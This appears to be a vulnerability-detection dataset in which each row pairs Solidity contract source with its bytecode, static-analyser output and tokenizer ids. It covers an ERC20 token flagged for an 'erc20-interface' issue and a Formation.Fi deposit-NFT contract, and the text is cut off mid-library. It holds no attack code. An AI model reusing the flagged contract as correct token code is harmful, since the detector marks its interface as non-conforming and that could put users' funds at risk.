spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | 0x6060604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461017e57806323b872dd146101a3578063313ce567146101cb57806342966c68146101f457806370a082311461020a57806379cc67901461022957806395d89b411461024b578063a9059cbb1461025e578063cae9ca5114610282578063dd62ed3e146102e7575b600080fd5b34156100c957600080fd5b6100d161030c565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561010d5780820151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015357600080fd5b61016a600160a060020a03600435166024356103aa565b604051901515815260200160405180910390f35b341561018957600080fd5b6101916103da565b60405190815260200160405180910390f35b34156101ae57600080fd5b61016a600160a060020a03600435811690602435166044356103e0565b34156101d657600080fd5b6101de610457565b60405160ff909116815260200160405180910390f35b34156101ff57600080fd5b61016a600435610460565b341561021557600080fd5b610191600160a060020a03600435166104eb565b341561023457600080fd5b61016a600160a060020a03600435166024356104fd565b341561025657600080fd5b6100d16105d9565b341561026957600080fd5b610280600160a060020a0360043516602435610644565b005b341561028d57600080fd5b61016a60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061065395505050505050565b34156102f257600080fd5b610191600160a060020a0360043581169060243516610781565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103a25780601f10610377576101008083540402835291602001916103a2565b820191906000526020600020905b81548152906001019060200180831161038557829003601f168201915b505050505081565b600160a060020a033381166000908152600560209081526040808320938616835292905220819055600192915050565b60035481565b600160a060020a0380841660009081526005602090815260408083203390941683529290529081205482111561041557600080fd5b600160a060020a038085166000908152600560209081526040808320339094168352929052208054839003905561044d84848461079e565b5060019392505050565b60025460ff1681565b600160a060020a0333166000908152600460205260408120548290101561048657600080fd5b600160a060020a03331660008181526004602052604090819020805485900390556003805485900390557fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a2506001919050565b60046020526000908152604090205481565b600160a060020a0382166000908152600460205260408120548290101561052357600080fd5b600160a060020a038084166000908152600560209081526040808320339094168352929052205482111561055657600080fd5b600160a060020a038084166000818152600460209081526040808320805488900390556005825280832033909516835293905282902080548590039055600380548590039055907fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a250600192915050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103a25780601f10610377576101008083540402835291602001916103a2565b61064f33838361079e565b5050565b60008361066081856103aa565b156107795780600160a060020a0316638f4ffcb1338630876040518563ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b838110156107165780820151838201526020016106fe565b50505050905090810190601f1680156107435780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b151561076457600080fd5b5af1151561077157600080fd5b505050600191505b509392505050565b600560209081526000928352604080842090915290825290205481565b6000600160a060020a03831615156107b557600080fd5b600160a060020a038416600090815260046020526040902054829010156107db57600080fd5b600160a060020a038316600090815260046020526040902054828101101561080257600080fd5b50600160a060020a0380831660008181526004602052604080822080549488168084528284208054888103909155938590528154870190915591909301927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a3600160a060020a0380841660009081526004602052604080822054928716825290205401811461089f57fe5b505050505600a165627a7a723058208b4c722170294dec7c9a360e449013ae31993c094dbaf50b91affa4f8ad98e8e0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
25746,
20842,
2683,
23833,
2581,
7011,
12740,
2575,
2094,
25746,
2620,
11329,
12376,
19481,
26224,
2050,
2683,
2094,
20842,
2581,
2620,
10790,
2094,
2629,
12879,
2629,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2385,
1025,
8278,
19204,
2890,
6895,
14756,
3372,
1063,
3853,
4374,
29098,
12298,
2389,
1006,
4769,
1035,
2013,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1010,
4769,
1035,
19204,
1010,
27507,
1035,
4469,
2850,
2696,
1007,
6327,
1025,
1065,
3206,
1046,
13535,
1063,
1013,
1013,
2270,
10857,
1997,
1996,
19204,
5164,
2270,
2171,
1025,
5164,
2270,
6454,
1025,
21318,
3372,
2620,
2270,
26066,
2015,
1027,
2324,
1025,
1013,
1013,
2324,
26066,
2015,
2003,
1996,
6118,
4081,
12398,
1010,
4468,
5278,
2009,
21318,
3372,
17788,
2575,
2270,
21948,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,443 | 0x95289299e8443888DECC60f74B2322f874837b29 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./libraries/Data.sol";
/**
* @title DepositNFT
* @dev Implementation of DepositNFT "The deposit Proof"
*/
contract DepositNFT is ERC721, Ownable {
struct PendingDeposit {
Data.State state;
uint256 amountStable;
uint256 listPointer;
}
// Proxy "alphaStrategy contract
address public proxy;
// Users deposit data
mapping(address => PendingDeposit) public pendingDepositPerAddress;
address[] public usersOnPendingDeposit;
// NFT mapping
mapping(address => uint256) private tokenIdPerAddress;
constructor () ERC721 ("Deposit Proof", "DEPOSIT"){
}
// Modifiers
modifier onlyProxy() {
require(
proxy != address(0),
"Formation.Fi: proxy is the zero address"
);
require(msg.sender == proxy, "Formation.Fi: Caller is not the proxy");
_;
}
// Getter functions
function getTokenId(address _account) public view returns (uint256) {
require(
_account!= address(0),
"Formation.Fi: account is the zero address"
);
return tokenIdPerAddress[_account];
}
function userSize() public view returns (uint256) {
return usersOnPendingDeposit.length;
}
function getArray() public view returns (address[] memory) {
return usersOnPendingDeposit;
}
// Setter functions
function setProxy(address _proxy) public onlyOwner {
require(
_proxy != address(0),
"Formation.Fi: proxy is the zero address"
);
proxy = _proxy;
}
// Functions "mint" and "burn"
function mint(address _account, uint256 _tokenId, uint256 _amount)
external onlyProxy {
require (balanceOf(_account) == 0, "Formation.Fi: account has already a deposit NfT");
_safeMint(_account, _tokenId);
updateDepositData( _account, _tokenId, _amount, true);
}
function burn(uint256 tokenId) internal {
address owner = ownerOf(tokenId);
require (pendingDepositPerAddress[owner].state != Data.State.PENDING,
"Formation.Fi: position is on pending");
deleteDepositData(owner);
_burn(tokenId);
}
// Update user deposit data
function updateDepositData(address _account, uint256 _tokenId,
uint256 _amount, bool add) public onlyProxy {
require (_exists(_tokenId), "Formation.Fi: token does not exist");
require (ownerOf(_tokenId) == _account , "Formation.Fi: account is not the token owner");
if( _amount > 0){
if (add){
if(pendingDepositPerAddress[_account].amountStable == 0){
pendingDepositPerAddress[_account].state = Data.State.PENDING;
pendingDepositPerAddress[_account].listPointer = usersOnPendingDeposit.length;
tokenIdPerAddress[_account] = _tokenId;
usersOnPendingDeposit.push(_account);
}
pendingDepositPerAddress[_account].amountStable = pendingDepositPerAddress[_account].amountStable
+ _amount;
}
else {
require(pendingDepositPerAddress[_account].amountStable >= _amount,
"Formation Fi: amount excedes pending deposit");
uint256 _newAmount = pendingDepositPerAddress[_account].amountStable - _amount;
pendingDepositPerAddress[_account].amountStable = _newAmount;
if (_newAmount == 0){
pendingDepositPerAddress[_account].state = Data.State.NONE;
burn(_tokenId);
}
}
}
}
// Delete user deposit data
function deleteDepositData(address _account) internal {
require(
_account!= address(0),
"Formation.Fi: account is the zero address"
);
uint256 _ind = pendingDepositPerAddress[_account].listPointer;
address _user = usersOnPendingDeposit[usersOnPendingDeposit.length - 1];
usersOnPendingDeposit[_ind] = _user;
pendingDepositPerAddress[_user].listPointer = _ind;
usersOnPendingDeposit.pop();
delete pendingDepositPerAddress[_account];
delete tokenIdPerAddress[_account];
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
if ((to != address(0)) && (from != address(0))){
require ((to != proxy),
"Formation.Fi: destination address cannot be the proxy"
);
uint256 indFrom = pendingDepositPerAddress[from].listPointer;
pendingDepositPerAddress[to] = pendingDepositPerAddress[from];
pendingDepositPerAddress[from].state = Data.State.NONE;
pendingDepositPerAddress[from].amountStable =0;
usersOnPendingDeposit[indFrom] = to;
tokenIdPerAddress[to] = tokenIdPerAddress[from];
delete pendingDepositPerAddress[from];
delete tokenIdPerAddress[from];
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
library Data {
enum State {
NONE,
PENDING,
READY
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
